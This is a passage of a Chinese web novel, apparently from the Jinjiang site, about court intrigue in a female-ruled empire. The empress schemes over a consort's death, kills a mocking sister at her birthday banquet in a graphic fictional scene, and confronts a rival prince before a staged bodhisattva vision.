瞿辰奉旨出宫,前往太学府侍奉帷帽诗仙,此举意在彰显凤帝对文豪的敬重之心,也向天下昭示凤帝礼贤下士、尊崇文人之意。可这不过是外在所显,实则是南阳王对帷帽诗仙心怀不轨,放他出宫,只为分散南阳王的精力。 瞿辰素来痴恋南阳王,出宫后,早忘了侍奉诗仙才是本职,一心扑在南阳王身上,照应南阳王事无巨细,且尽心尽力。 原本一切平稳,怎会突然生变? “怎么回事?”裴源问。 傅逸春蹙眉道:“瞿辰昨日突然发了疯。” 裴源挑眉:“他不是一直都很疯?” 傅逸春:“……” 见傅逸春一脸无语,裴源马上做了一个噤声的动作,示意他继续说下去。 傅逸春这才接着道:“臣从他疯言疯语中探得,昨日瞿辰前往南阳王府,恰巧撞见南阳王与旁的男子亲昵。他自是要去讨个说法,却不料南阳王非但不理会,反而护着那男子,并对他大打出手。” 裴源眉梢一挑:“以瞿辰的性子,岂会善罢甘休?定是要将南阳王府闹个天翻地覆吧?” 傅逸春道:“差不离。南阳王不堪其扰,命人将瞿辰送回太学,还严令他此生再不得踏入南阳王府一步。” 裴源心中已能想见瞿辰被送回太学后的种种,沉吟片刻,问道:“所以瞿辰受不住委屈,自尽了?” “若真是如此,倒也简单了。”傅逸春眉头紧锁:“昨夜不知怎的,臣睡得极沉,今日辰时才被小侍的叫声惊醒。起身一看,瞿辰竟躺在臣身侧,脖颈青紫,早已没了气息。恰逢楼下有吵嚷声,臣恐中了贼人圈套,便跳窗而逃。” 裴源追问:“护着你的人呢?” 傅逸春道:“两人一直守在楼下,未曾听到任何声响。听臣问起,两人甚至觉得不可思议,臣观两人神色,不似作伪。” 他稍顿片刻,又道:“因万寿节,各亲王、州郡大臣纷纷入京,难保有人携高手入京。臣思来想去,莫不是有人知晓了臣的身份,故借此法,一石二鸟?” “一石二鸟?” 裴源微微蹙眉,沉吟片刻,缓缓道:“瞿辰之母瞿若华,乃户部侍郎。此人心思深沉,素来少露声色,即便朕将瞿辰送至太学,她亦未有半分怨怼之言。可如今瞿辰身故,作为母亲,若仍毫无动静,未免说不过去。若瞿若华今日筵席发难,执 意追究,那你这个‘帷帽诗仙’,难保不惹一身腥。 而这南阳王回京后,虽常出入酒楼,却极少听闻她身边有桃色绯闻,偏在万寿节前夕,被瞿辰撞见与人厮混。这其中,怕是也另有隐情。” 傅逸春不置可否,只微微颔首,低声说道:“事发紧急,臣未与陛下商议便回了宫,还望陛下恕罪。” “遇到危险,自要护好自身。”裴源打断他,语气中带着几分安抚:“你以名儒之身替朕笼络大臣,已初见成效。昨日太慈入京,站在朕立场说话的大臣,较之几个月前,多了不少。于外,你为朕臣;于内,你为朕君。你为朕殚精竭虑,朕若责备你,岂非不近人情?” 傅逸春眼睫微颤,试探着问道:“若瞿辰之死,真与帷帽诗仙扯上关联,帷帽诗仙自会蒙上污名。届时,臣过往笼络之言,岂非成了笑谈?” 裴源轻轻拍了拍他的肩,语气沉稳温和:“帷帽诗仙是诸位大臣与全城学子跪着求来的,你又没做错什么,她们怎忍心让自己亲手扶上高台的神,落得如此不清不楚的结局?放心吧,朕已想到了应对之法。你既回宫了,便好好参宴,全当放松。其他的事,朕会妥善应对!” 裴源说完,便要转身离去,傅逸春本想追问凤帝如何应对,但见凤帝步伐急切,只得回宫静候佳音。 裴源行至御撵后,拉着乌宛白一番耳语,乌宛白细心听着,后,点头应是:“陛下放心,晚宴前必有结果。” 乌宛白步履匆匆,裴源指尖轻点扶手,似在思量什么,直至乌宛白的身影消失不见,凤帝才终于敲定了主意:“去碧落宫。” 御撵尚未抵达碧落宫,裴源便被一阵悦耳的琴声所引,遂缓步踏入宫中。甫一进门,便见韩柏抚琴,柳玉书在案前作画,二君神情专注,宫侍们皆围在画卷前,目不转睛。 裴源心生好奇,亦缓步上前一探究竟。 柳玉书手腕轻转,笔锋扫过宣纸,顷刻间便勾勒出远山的轮廓。山峦起伏,黛色轻染,画意空灵。这时,笔锋已随琴声陡然一转,又几笔淡墨挥洒,竟在山涧之中绘出亭台流水,意境深远的山水画初现雏形 此刻,琴声渐缓,柳玉书又添几笔,看似随意勾勒,却暗藏玄机。待到琴音缓缓散去,裴源定睛细看,竟发现画中山水竟巧妙地组合成了一个“寿”字。 终于,韩柏的琴声落尽,柳玉书亦放下画笔,宫侍们皆惊叹不已。 弘义称赞道:“主子巧思,这寿字似隐于山水,又似与画卷浑然天成,陛下见了,必称赞您匠心独运。” 裴源默默点头,表示赞同。 俞楼也不甘示弱:“我家主子的琴声堪比天籁之音,陛下亦会喜欢。” 裴源又是默默点头,表示赞同。 二君则是神色平常,柳玉书扭了扭手腕:“本宫只求顺利些,莫要在亲王、诸臣面前丢了陛下的颜面。” “侧君放心吧,练了这些时日,早已手到擒来。况且……”韩柏起身,神色落寞道:“此次寿宴,必有人向陛下进献美男,有新人在侧,陛下哪还有心思看我等旧人。” 这句话一落地,殿中喜悦瞬间沉凝,弘义抿了抿嘴,急忙说道:“二位主子定是渴了,奴才这便去泡茶。” 说着,转过身便向前冲,竟一下子与身后人撞了个满怀。 弘义一声轻呼,也引了众人侧目,旋即众人脸色大变,柳玉书想也不想的挡在了画卷之前,脱口问道:“陛下何时来的?” 裴源平静道:“刚来。”而后看向众人,似有责备:“围在一起干什么呢?宫门连个看守也没有。” 弘义闻言,忙呵斥众人散去。韩柏亦抱起古琴躬身一礼:“陛下想来寻文侧君有事相谈,臣先行告退。” “别退了,”裴源径直步入内殿:“一道进来。” 二人相互对望一眼,虽是一头雾水,还是忙收好了画卷与古琴,一同步入内殿时,凤帝已端坐案前,对二君招了招手。 眼见二君一左一右落坐在了自己面前,裴源才不紧不慢的趴在了案上,看着二君问道:“摸着良心说,朕待你们咋样?” 柳玉书:“……” 韩柏:“……” 见二君露出尴尬之色,裴源当即一摆手:“算了,这不重要。”裴源敛起笑意,一脸正色:“朕近来有一事颇为苦恼,思量想去,唯二位可替朕解忧,就是不知二位……” 柳玉书当即表态:“陛下直言便是,臣必竭尽所能,替陛下效力。” 韩柏亦道:“臣亦愿为陛下效犬马之劳!” 裴源面上露出一丝欣慰之色,又端正了一下坐姿,低声说道:“随太慈一道回京的,有一男子,名唤耿文曜。此人为耿家旁支公子,刚满二十岁,尚无婚约。此人不仅精通琴棋书画,且容貌生得极为瑰丽……” 韩柏听到此处,心中虽有几分不悦,却仍强压住,打断凤帝的话道:“陛下心悦此人,欲纳其为后君之臣。欲让臣与文侧君去太慈面前,替陛下道明心意?” 裴源:“……” 裴源面色一沉,抬手便给了韩柏一个爆栗,斥道:“纳个屁!你脑子里除了情情爱爱,还能不能装点有用的!” 韩柏心底微微一涩,委屈之色一闪而过,却只是微微颔首,不再言语。 倒是柳玉书微微蹙眉,沉吟道:“若陛下说的,是同太慈同坐一辆马车的男子,臣倒是颇有印象。此人却如陛下所言,生了一张雌雄莫辨的美人面,令人过目难忘。” 裴源微微颔首,示意他说下去。 柳玉书稍作沉吟,又道:“太慈回京,带了这样一个美人儿,若不是准备进献陛下,那便是借联姻之举,替西川王笼络权臣。无论是哪一种,首先都要将此人示于人前,而今晚的万寿宴,便是他扬名的最好时机。” 裴源当即对柳玉书竖起大拇指,赞道:“侧君果然心思细腻。”随后她转向二人,追问:“先帝在时,太慈也养了一个侄儿在侧,不知你们可还记得?” 韩柏这才抬头,眼中闪过一丝了然:“陛下说的可是耿文舟?”见二人齐齐看向他,他解释道:“此人才华横溢,琴艺尤为出众,还曾与臣一同拜在声乐大师秦师座下。” 柳玉书也道:“臣亦在京城各宴上见过此人。那时的耿文舟极得太慈看重,虽无册封,也无封号,但京城郎君皆知此人被太慈当成半个皇子养。也有传闻说,耿文舟是太慈养给西川王的夫郎,但先帝迟迟不允,太慈只能等西川王……” 先前君后常氏,被褫夺封号,降为庶民后,后宫便由淑君主持,也就是如今的太慈。 故而,连养在太慈宫中的郎君,都跟着水涨船高,成为了筵席之上的贵客。 柳玉书说到此处,适时缄默不言,眼神微微闪烁,似不好言明。 裴源接过话茬,语气冷冽:“母皇不喜外戚干政,是以,所有王卿正宾,都不能是后君的父家人。故而,太慈打算等西川王登基后,扶持耿文舟为君后。” 柳玉书点了点头,沉声道:“先帝驾崩那日,京城大乱,耿文舟也死在了兵戎刀剑之下。听闻是为救西川王而死?” 裴源冷笑一声,语气中透着几分不屑:“那不过是西川王为保全耿家郎的名声,信口胡诌的。” 她凝眸望向二人,语调平缓,却似有寒意透出:“当时,母皇凤体每况愈下,各王卿为夺帝位,手段无所不用其极。负责看守宫门的禁军首领名唤庞雁菱,此女年过四旬,好色无耻,素喜钻研折磨人的手段,且对耿文舟美色觊觎已久。西川王得知此事后,便暗中将耿文舟送与庞雁菱,盼着起势之日,她能率先举兵踏入宫门。 然人算不如天算,母皇驾崩那日,庞雁菱恰逢休沐。西川王寻她不得,便径直去了庞雁菱宫外府邸。朕遣人一路尾随,回来禀报说,西川王的府兵踹开寝门时,庞雁菱正在折磨耿文舟,画面惨烈,令人不忍侧目。耿文舟养在深宫多年,自诩高高在上,谁承想,一朝竟沦为了女人的玩物,还被一群府兵撞见,一时只觉得郁愤不堪,直接撞死在了兵刃上。” 二君闻言,心口似被利刃划过,皆露出心疼之色。 柳玉书忍不住叹道:“每每宴会,耿文舟皆与皇子、郡王同席,又弹得一手好琴,可谓风光无两,谁料结局竟如此不堪。” 韩柏亦蹙眉道:“此人在太慈跟前侍奉多年,又是耿家郎,即便无功劳,也有苦劳,太慈怎忍心如此对待自家后辈?” 柳玉书似已明白凤帝的用意,微微蹙眉道:“陛下是想让臣将耿文舟的下场告知耿文耀,以此离间耿家郎与太慈的关系?” 裴源微微点头:“若寻 不到机会告知,也无妨,便让此人失去在筵席上展露头角的机会。” 柳玉书心中了然,此人善琴棋书画,但筵席上唯琴技最容易展现,而韩柏精通音律,即便不能压过此人的锋芒,也必能抢夺他一半荣光。 柳玉书想了想,又道:“若此人又精奇巧,以旁门之法扬名,陛下可会怪臣与卿君办事不力?” 裴源随意摆了摆手:“那便是此人注定要沦为太慈与西川王的棋子,天意如此,你我亦无可奈何。” 柳玉书点了点头,拉着韩柏起身,对裴源躬身道:“陛下放心,臣与卿君,定尽人事。” 第67章 第67章晋江文学城 夕阳洒满江河山川时,正是吉时。 皇宫内繁花似锦。宫人往来奔忙;太安殿上,各亲王、诸君、文武百官早已齐聚,各个庄严肃立,静候圣驾。 随着一声“凤帝驾到”,众人齐跪,叩首高呼万岁。 凤帝缓步而出,神色威仪,目光所及之处,皆是海晏河清。心中不免澎湃,直至目光落在君后身上…… 陆长行今日很不一样。 月白锦袍被绯红长袍取代,白玉簪变成了金丝宝冠,素日里清冷素雅如他,今日竟破天荒戴了一对金色耳铛,被夕阳的余晖下映照的金光璀璨。 似察觉凤帝的注视,陆长行轻抬眼眸,一双柳叶眸狭长深邃,隐约透出眉眼间的缱绻之色,宛如春日暖阳,一双耀眼的耳铛轻晃,更添风情。 明明衣着艳丽,可举手投足间风流雅显,风姿俊逸。 惊艳的裴源移不开眼。 还是乌宛白的一声轻咳,将她从沉思中唤醒。 凤帝缓步行至君后面前,伸出手去。君后未有迟疑,将手轻轻置于凤帝掌心,裴源紧紧握住,将他扶起。瞬间,陆长行指尖的凉意顺着脉络蔓延至心口,裴源只觉得心头海浪退去,逐渐平静下来,化作一片郁郁的田野,最后,一朵花从心田破土而出,悄然绽放。 是以,帝后比肩而立,裴源的目光再次落在殿中,适才眼中的激昂,皆化作了平常,似只为身侧之君而荡漾。 众人起身,丝竹奏响,宴会正式开始。 裴源记不清上了多少道菜,亦数不清殿中换了多少歌舞,只记得数次举杯,余光轻瞥身旁君子,男子却未予她一次回应。 裴源不禁有些郁闷,于是,更加去在意他的一举一动。 他只是端坐在那里,听曲赏舞饮露酒,不动的时候,安静得好像一尊披了华衣的神像。不知不觉间,筵席由拘谨肃穆变得欢乐肆意,夕阳余晖散尽,满堂燃起了宫灯。 火光透过灯罩上琉璃,将男子身上的金丝、金冠、金耳铛映得金光熠熠,耀得裴源有些眼花。垂眸时,又被君后案下垂落的手吸引,修长白皙,骨节分明。故而一个下意识,裴源便伸出手去,轻轻触了一下他的指尖。 男子似无反应,裴源不甘心地再次轻触,可陆长行却忽而起身,颔首道:“臣醉了,出去透透风。” 说完,不等女子应允,便被宫侍搀扶着离了席。 裴源尚未收回的手沿着他的绯红衣袍划过,她不禁有些落寞,收回视线端着杯盏,尚未饮下,竟察觉诸君的目光皆落在自己的脸上。 有的冷漠,有的冷笑,有的幽怨,还有的,白眼频翻。 裴源:“……” 宸贵君冷漠道:“陛下何不将眼珠子扣下来按在君后的身上?” 裴源尴尬到抬手掩面,轻声问着诸君:“你们不觉得今日君后甚是特别?” /更多内/容请]搜索[频道:.// 郭嘉安冷道:“他只是换了一身衣裳!”而后冷冷看着裴源:“臣今日,也换了一身衣裳!也戴了宝冠,也戴了耳铛!” 裴源这才发现郭嘉安退下了素日偏爱的大红锦袍,换上了湛蓝长袍,就连眉心的红钿都被取下,虽无素日的张扬,倒也透出几分不羁与洒脱。 裴源忙点头称赞:“湛蓝色也衬贵君精神,贵君今日甚是俊逸。” 郭嘉安冷笑一声,似伤了心般,不在理会裴源,只偏头看起了歌舞。 庄与之紧随其后:“陛下,臣今日,也换了礼服。” 裴源:“……” 西门眙也凑起了热闹,笑嘻嘻道:“陛下陛下,您看看臣?是不是也换了衣裳?” 裴源依次看下去,果然各个都穿了较之平常不同款式的衣着,一一略过,万艳同辉。 她一时心怀有亏,差点将头埋进了桌案里,举杯示意诸君:“诸君皆俊逸无双,是朕,不知好歹了。朕错了,自罚三杯。” 三杯露酒下腹,裴源的脸微微泛红。凰贵君温阳泽轻笑一声,凑近了些,问道:“陛下觉得殿中之舞如何?” 裴源涨红着脸看向殿中群舞,也没瞧出什么门道,故而蹙眉道:“朕以为,筵席之上歌舞声起,便是推杯换盏之时。所以,不如何,活络气氛罢了。” 温阳泽不甘心又问:“那陛下觉得,领舞的郎君如何?” 裴源下意识看向中心位的男子,道:“立于群舞之中,自然更醒目一些。但舞跳的……着实不怎么样。” 温阳泽蹙眉:“没了?” 裴源不解:“凰贵君有话不妨直言。” 温阳泽轻叹一声,语气中带着几分无奈:“此郎君名唤李宣,其母现任明州都督,负责地方军事和政务。之所以舞跳得一般,可能与他常随母亲出入校场有关。” 裴源点了点头:“原来如此。” 见凤帝久未有下文,温阳泽只得又道:“明州距京千里,李郎君一路奔波入京,想来疲乏至极,陛下忍心让他如此打道回府吗?” 裴源眨了眨眼,了悟:“那依凰贵君之言,朕如何安置才好?” 温阳泽微笑道:“东六宫现空缺两殿,陛下可则选其一,让李郎君以卿君之身入宫住下,如何?” 裴源想了想,侧身至凰贵君身侧,轻言询问:“如此,天下人会否视朕为凭借姻亲关系笼络臣子的帝王?” 凰贵君微微一笑,语气平和却透着几分深意:“李郎君盛装入京,若无配回程,只怕沦为明州笑柄。万一因不堪流言而做出轻生之举,陛下岂不寒了李都督之心?且明州地处西北边界,陛下还请自行斟酌。” 裴源轻叹一声,语气中带着几分无奈:“既如此,凰贵君做主便是。” 于是,一舞作罢,李宣落座在了凤案之侧。 虽为新君,可裴源在李宣脸上看不到一丝娇羞怯懦之色,相反,此人面容刚毅,眸若寒星,可能因常出入校场,双手宽厚而粗糙,举止亦不拘小节。 这样的人,会因为不成为凤帝的小君,而轻生? 许是酒喝得多了,裴源一时脑袋抽风,竟不自觉地将心里话问了出来。 李宣:“……” 李宣默默偏转视线落在凤帝脸上,眼神犀利,仿佛在看……智障。 裴源:“……” 此时无声胜有声。 于是,裴源下意识看了眼凰贵君,本想责问他一番,却见温阳泽憋着笑意,后,憋的一阵急咳。裴源尚未来得及关心,就见身畔李宣“嗖”的一下,拔“座”而起,直接行至温阳泽身畔单膝跪地,一面为其轻拍背脊,一面小声关切。 温声细语,哪里还有面对裴源时的粗狂? 这一幕过于炸裂,不止裴源看得目瞪口呆,就连诸君亦神色愕然。 直至温阳泽咳声渐息,轻言提示,李宣方才起身欲重回裴源身侧落座。 裴源呵呵冷笑,一脚就把身边的圆凳踹出了八丈远:“滚一边子去!” 李宣只是愣了一下,全无半分 尴尬,默默弯腰拾起了圆凳,直接摆在了凰贵君的席案旁。 彼时,君后缓缓归来,看到这一幕也是不解。 裴源将他神色收入眼底,举杯道:“君后回来的正好。来,让我们共同举杯,恭喜凰贵君喜得新人!” 陆长行:“……” 诸君:“……” 温阳泽闻言又是一阵干咳,还未来得及解释,嘈杂的殿中忽而静默无声,引起了凤帝与诸君的注意。 彼时,古韵的声乐忽而转为欢快的调子,殿中多了一位脚踝系着铃铛的男子。他持扇遮面,裴源看不见他的容貌,只观其衣着极为特别,轻便凉爽,与殿中众人风格截然不同。随着曲调愈发激荡,男子抛却折扇,终露出真容。 黄发、蓝眸,肤白如雪,全无东方男子之姿,眉眼皆是异族之貌,格外醒目。 原本安静的殿内瞬间又恢复了嘈杂,众臣皆好奇此人来历,诸君亦对此人容貌争论不休。 唯有陆长行默不作声,偷偷看向身侧之人。女子的神色虽说专注,却是满面狐疑不解。 凰贵君亦将女子的神色收入眼底,开口问道:“陛下觉得此人如何?” 裴源闻言蹙眉,目光扫过凰贵君,轻声斥道:“差不多得了,收了一个李宣还不够?竟还想再添一个黄毛?这到底是朕的后宫,还是你凰贵君的后宫?” 温阳泽扶了扶胸口,轻咳一声,试图缓和气氛:“陛下误会了,臣只是觉得此子眸若星辰,风流倜傥,颇具异域风情,与我大晟男子极不相同。” 裴源淡漠道:“不是一个肤色的人种,自然不同。”她转头对身后的乌宛白问道:“此人什么来历?” 乌宛白早知晓此次有一异族男子入京,只是未曾料到此人竟生得这般特别。她正欲回禀,却听君后抢先开口:“白狄人,来自北境以北的一个国家。” 陆长行目光扫过郭嘉安,语气平静却带着几分探究:“本宫见宸贵君神色诧异,难道不是镇北将军的主意?” 郭嘉安闻言,脸色不善,冷声道:“陛下又不是风流之人,臣母又何必行此费力不讨好的事?” 裴源闻言,语气中带着几分疑惑:“那便怪了,北境与白狄向来素无往来,更无纠纷。若此人不是镇北将军携入筵席,又是何人带他入京?” 凤帝不解,诸君更觉得糊涂,终于,一舞作罢,白狄男子缓步上前,行了一个抚胸礼,蓝眸直视裴源:“伏恩见过女王陛下。” 直视圣颜,本为不敬之举,然此人并非大晟子民,裴源亦未深究,只淡然道:“恕朕眼拙,公子发色与眸色皆与我朝子民迥异,不知公子是何方人士?” 伏恩似不通大晟语言,因而站在原地,神情略显局促,下意识地望向人群,似在寻找熟悉的身影。 于是,宁远王在席间起身,对着裴源虚行一礼,朗声道:“陛下,此子乃皇妹于榷场竞拍所得,特地送予陛下作为生辰贺礼,不知陛下可还满意?” 宁远王裴爽,乃先帝第六女,与裴源同年而生,且仅相差数日。其生辰恰逢立秋,先帝大悦,道:“立秋降至,秋风送爽。”遂赐名“爽”,寄望裴爽能为天下带来丰年,足见先帝对其厚望。 却不料,裴爽自幼小疾不断。其父谨侧君便认为是先出生的裴源抢走了裴爽的福气,故而心生怨怼。 不仅尝尝将讥讽裴源生父的言辞挂在嘴边,对裴源更是没有一个好脸色。 裴爽长大后,受父亲影响,对裴源满心不满,屡次讥讽原主与原主生父而泄私愤。 裴源念此,淡淡道:“皇妹美意,朕心领了。然朕的诸君皆是万里挑一的俊杰,皆为朕心头挚爱。朕有诸君相伴,已心满意足,无需再添新人,徒增诸君伤怀。” 裴爽却似未察觉凤帝的不悦,反而笑得愈发灿烂:“陛下这话可就不对了。陛下登基三年,膝下尚无一女,这千秋万岁皆系于陛下一人之身。皇妹忧心如焚,不禁怀疑是诸位后君侍奉不周。陛下,这可是关乎我朝的社稷啊。” 凤帝面色微沉,裴爽却浑然不觉,继续说道:“这伏恩虽为异族,却实在是个妙人,皇妹寻人替陛下试过了,此人深谙床第之欢。陛下若准他入宫,大可让诸君向他请教一二,想必开枝散叶,指日可待。” 她顿了顿,似挑衅一般,又道:“若诸君羞愧,不好请教,皇妹大可将与伏恩有过一夜恩情的女子皆唤至殿上。当众言明,诸君听了便当做学了。男人嘛,生来就是伺候女人的,若还是学不会,皇妹便自掏腰包去那舞馆请些舞郎回来。这舞郎啊,最会侍奉女人了,诸位说,是不是啊?哈哈哈……” 殿中声乐不歇,可众人却无一人敢应,尤其诸位王卿的席位,皆是一脸‘她是疯了吗’的模样,看着裴爽。 再看凤帝,面容平常,只是静静饮酒,一言不发。 还是齐翁漠然打破沉默:“宁远王,你僭越了!” 裴爽不以为意,甚至噗笑一声:“齐翁,陛下素来宽仁大度,何况这玩笑,臣自幼便与陛下说习惯了的,陛下是不会与臣一般计较的。” 齐翁浑浊的瞳孔望向帝王。 凤帝静默片刻后,终于有了动作,只见她缓缓起身,步履沉稳地走下方台,一步步逼近诸位王卿的席位。 裴爽见裴源靠近,不仅未有怯意,甚至心中暗自得意,自然认为对方不敢当众对她这位王卿如何。 于是,她对凤帝笑的更加得意。 裴源恍若未见,只轻柔地为她整理着衣襟:“三年不见,朕原想与皇妹好好叙一叙旧。没想到,再见之日,竟是天人永隔之时。” 裴爽一愣,尚未来得及开口,却感觉裴源周身气息骤然一变。 她忽而抬手拔下一支凤簪,动作快如闪电,裴爽只见一道金光从眼前闪过,那支金簪竟直直刺向了自己的脖颈。 裴爽眼眸大睁,一个‘你’字刚一脱口,凤帝便面无表情拔出金簪,而后,再次刺入,拔出,刺入,拔出…… 鲜血如注般喷涌,不仅喷溅在凤帝的脸上,亦随着凤帝的金簪,在半空划过弧度,倾洒到诸位王卿的席位上。 不过数息,裴爽便毫无生气的趴在了席案上,脖颈血肉模糊,宛若一片烂泥,宁远王宾直接晕死过去。 临近的几位王卿不禁泛起了恶心,几人所携宾夫,亦被吓的花容失色,瑟瑟发抖,若不是要顾忌自家王卿的脸面,恐早就离席而去了。 声乐不知何时停了,殿内一时死寂一片,众人似都被眼前一幕惊骇得说不出话来。 裴源却仿佛对这血腥场面毫不在意,她缓缓曲臂,用衣袖擦拭了一下金簪上的血迹,随后一抬手,又将金簪重新插入了发间。 “音乐怎么停了?”裴源懒懒扫视着众人,语气中带着几分漫不经心,仿佛刚刚的一切,皆是醉酒后的无心之举:“接着奏乐,接着舞。” 凤帝转身才走两步,一声厚重的编钟在殿中叩响,丝竹之声紧随其后。 “哦,对了!”凤帝忽而停下步子,转身重新望向王卿席位,目光似找寻一般,依次略过几张脸后,停落视线在南阳王的脸上:“听闻二皇姐身边多了一个知心人,今日可带到殿上了?” 第68章 第68章晋江文学城 一片祥和的筵席,因裴爽的一番大不敬言辞,气氛骤然凝滞。 昔日众人皆为王卿时,众王卿常以皇五女父君的身份加以调笑。彼时裴源无依,亦非母皇所重,面对众人的耻笑,她或冷漠以对,或转身离去。 如今皇五女已是凤帝,裴爽却仍以当年口吻,肆意取笑,随意讥讽,无疑是自寻死路。 凤帝当众了结裴爽,无人敢言,甚至有人暗自叫好。 南阳王对此并无太多想法。裴爽认不清局势,自讨死路,那是她的问题。虽同为姐妹,却并无情分,裴爽死便死了。 然而,南阳王万万没想到,凤帝话锋一转,竟将矛头指向了自己。 故而,她微微一 笑,随口道:“不过一时兴起得来的玩物儿而已,今日乃陛下生辰宴,他尚不配入席。” “哦?”凤帝似真醉了,原地晃了晃,微微一笑:“二皇姐这话便见外了。那毕先曾也是宫里的人儿,生得俊俏,又得深宫仆夫教导,深谙宫廷规矩。怎就不配入席了?” 南阳王微微一愣。 凤帝侧身望向百官席位,目光落在户部侍郎的脸上:“瞿侍郎可还记得毕先?打小便跟在瞿辰身边伺候的。瞿辰昨日奉诗仙的命去请南阳王,竟瞧见南阳王与毕先恩爱缠绵。” 大殿内一时窃窃私语起来。 瞿若华下意识地望向南阳王,眼眸凌厉,神色不虞。 南阳王欲起身解释,却被凤帝反将一军:“瞿辰瞧见二皇姐与自己的奴才暗生情愫,本欲上前询问一二,却惨遭二皇姐殴打。二皇姐,这瞿辰好歹是朕的后君,即便他言语有失,二皇姐不看僧面也要看佛面,打他一顿便也罢了,缘何要杀他?” 南阳王愕然:“杀他?本王何曾……” “原来是南阳王?”柳文澜听到此处拍案而起,怒指南阳王并打断她的话道:“瞿卿君本为陛下之君,身份何其尊贵,却仍愿放下身份,出宫替陛下照应帷帽诗仙,此乃无上功德!可南阳王竟为男女情爱的小事,就对瞿卿君痛下杀手,还将帷帽诗仙掳了去!帷帽诗仙乃文昌帝君座下谪凡的弟子,南阳王此举,是要断我朝文脉吗?” 南阳王一阵愕然,忙起身道:“文博士此话何意?” “何意?”瞿若华愤怒至极,亦拍案而起:“今晨,吾儿意外惨死在诗仙床榻上,而诗仙不知去向。还是大理寺匆匆探查现场,方知昨夜有人与诗仙发生了争执,吾儿舍命相护,奈何不敌,未曾护下诗仙,自己也失了性命!” 南阳王听的一头雾水,甚至生了几分恼火:“瞿辰死了与本王何干?诗仙被掳更与本王无半分关联!二位大人缘何判断本王就是凶手?” 大理寺卿韩惜灵起身道:“昨夜,只有王卿进出过诗仙的寝房,且,白日王卿又与瞿卿君有了龃龉。恕臣猜测,应是诗仙请王卿一续,要为瞿卿君讨要说法,却不想未曾谈拢,王卿便生了恶毒之心,不仅杀了瞿卿君,还掳走了诗仙泄愤!” “简直一派胡言!”南阳王愤愤道:“本王乃护仙使,每日皆要拜访诗仙,是本王的职责所在!韩大人说本王掳走了诗仙,可有凭证?” 韩惜灵道:“臣自不会无凭无据冤枉南阳王!”她说着,从怀里掏出一封血书,“今日,臣悄然去往南阳王府邸打探,得知昨夜子末,南阳王驾车外出,臣根据车辙印一路追查,结果在半路捡到了一封血书。经文博士鉴定,确为诗仙笔迹!” 乌宛白听到此处,匆匆下了方台接过血书,展开示众。上面赫然写着:“相争,卿怒,瞿护,不敌,盼救!” 大殿赫然传出数声唏嘘。 柳文澜呵斥道:“证据确凿,南阳王还有何话要说?” 瞿若华泣不成声:“吾儿自幼胆怯,如今竟为救诗仙而做出如此壮烈之举。辰儿啊~” “你们……你们……”南阳王只觉百口莫辩,手指几臣都在颤抖,最终只得步出席位,跪在殿中:“陛下,若诗仙失踪为臣所为,臣将他绞杀在太学岂不更妙?为何要将人带回府,又半夜带人出府?如此波折,若被巡防禁军发现,岂非授人以柄?” 彼时,凤帝早已重回凤椅,还顺手将那位异族少年安置在身侧。闻言,凤眸冷冷瞥向殿中跪禀的女子,慵懒道:“朕自然是信二皇姐的为人。但朕也清楚,二皇姐素来爱才。诗仙满腹才华,二皇姐自然舍不得绞杀,定是要将人藏起来为己所用……” 凤帝话锋一转,似满脸狐疑不解:“否则,二皇姐为何三更半夜不在府中好好休息,偏要悄悄出府呢?” 见方才还满脸委屈的南阳王瞬间偃旗息鼓,凤帝幽幽又道:“若不然,二皇姐当众说说,你昨夜去了何处?见了何人?说了什么?朕可派人去请她们到殿上对峙。放心,为了二皇姐的声名,朕不惧麻烦。” 南阳王心中一凛,瞬间明白今日这场闹剧,竟是凤帝的精心布局。 彼时,凤帝又道:“诗仙关乎到我朝文脉,朕一定要严惩昨夜贼人,替卿君报仇,慰天下学子之心。若二皇姐不能自证清白,朕也不会包庇。毕竟天子犯法尚与庶民同罪,何况卿乎~” “怎么?”南阳王尚未开口,下首席位中,裴丰羽忽而冷漠出声:“陛下杀了一个姐妹还不够,还要再取了南阳王性命不成?” 众人目光齐齐落在说话的男子身上,庄与之更是紧张到起身低呼:“父亲……” 齐翁冷哼一声:“女人间议事,男人还是莫要插嘴的好!” 裴丰羽冷哼一声:“齐翁此言差矣。此事因诗仙而起,诗仙为男子;又事关我裴家家事,于情于理,我这个做皇舅的,都理应说上几句。” 他言罢,目光转向裴源:“南阳王昨夜在本宫的府中做客,此事,本宫府中下人皆可为证。陛下若怀疑诗仙被藏入了本宫的大皇子府,大可以派禁军去查。”他言罢,瞥了眼傅逸春,意味深长道:“相信陛下是查不到什么的。” 殿中一片岑寂,良久,凤帝正欲开口,殿外却陡然传来一阵嘈杂。 乌宛白沉声呵斥:“何事喧哗?” 计安急匆匆入殿,满脸惊喜,跪地禀道:“陛下,是菩萨降临!定是菩萨知晓陛下今夜生辰,所以下凡赐福。” 此言一出,众人皆惊,纷纷向殿外张望,却见殿外光影闪烁,仿佛真有祥瑞之气在上空弥漫。 “你们看上面!” 不知谁一声惊呼,众人齐齐仰头,只见殿中上方,数道七彩光芒同时亮起,如梦似幻,最后竟缓缓绘成一座莲花宝座。彼时,殿中忽而响起波涛海浪声,那声音似近在咫尺,又似远在天际,缥缈而空灵。 随着海浪声渐息,一位女子轮廓,赫然凭空立于宝莲之上。女子法相庄严,手持净瓶,眼眸低垂,嘴角含笑,周身似有祥光环绕,令人心生敬畏。 “海浪声?净瓶?”人群中,司天丞激动得语意颤抖:“是东海菩萨!” 若只是人云亦云,倒也罢了,然此一幕竟清晰地呈现在众人眼前,众人无不喜悦激动,就连帝王诸君亦纷纷跪地叩首。却不料菩萨幻影渐渐淡去,众人正疑惑时,空灵的女子之音竟缓缓在半空响起。 “适才东海之上,异象纷呈。本座心有所动,掐指推算,方忆起数日前,本座座下一小童,感念旧日仙子之恩,欲下界报恩。然人道迷障,小童失却过往记忆,迷失于凡尘俗世之中。本座无奈,只得亲临凡尘,为这小童指点迷津,开其灵窍。望这小童能忆起前尘往事。” 凤帝一脸震惊,良久方道:“菩萨说的旧日仙子,可是朕?那小童,又是何人?” 半空再次响起空灵之声:“仙子自有使命,本座不便多言。众生皆苦,只愿旧日仙子以公正之策治理天下,使百姓安居乐业,四海升平。至于那小童……” 空灵之音微微一顿,众人抬眸间,半空竟凭空幻化出一支翠柳枝。那柳枝轻摇,似有微风拂过,一道清光自枝头逸出,如水流浮动,一路蜿蜒,最终悬停在西门眙的头顶。 西门眙本还在懵然之中,忽觉灵台一震,全身如遭电击,瞬间僵立。不过片刻,他的眸光便骤然变得澄澈而空灵。 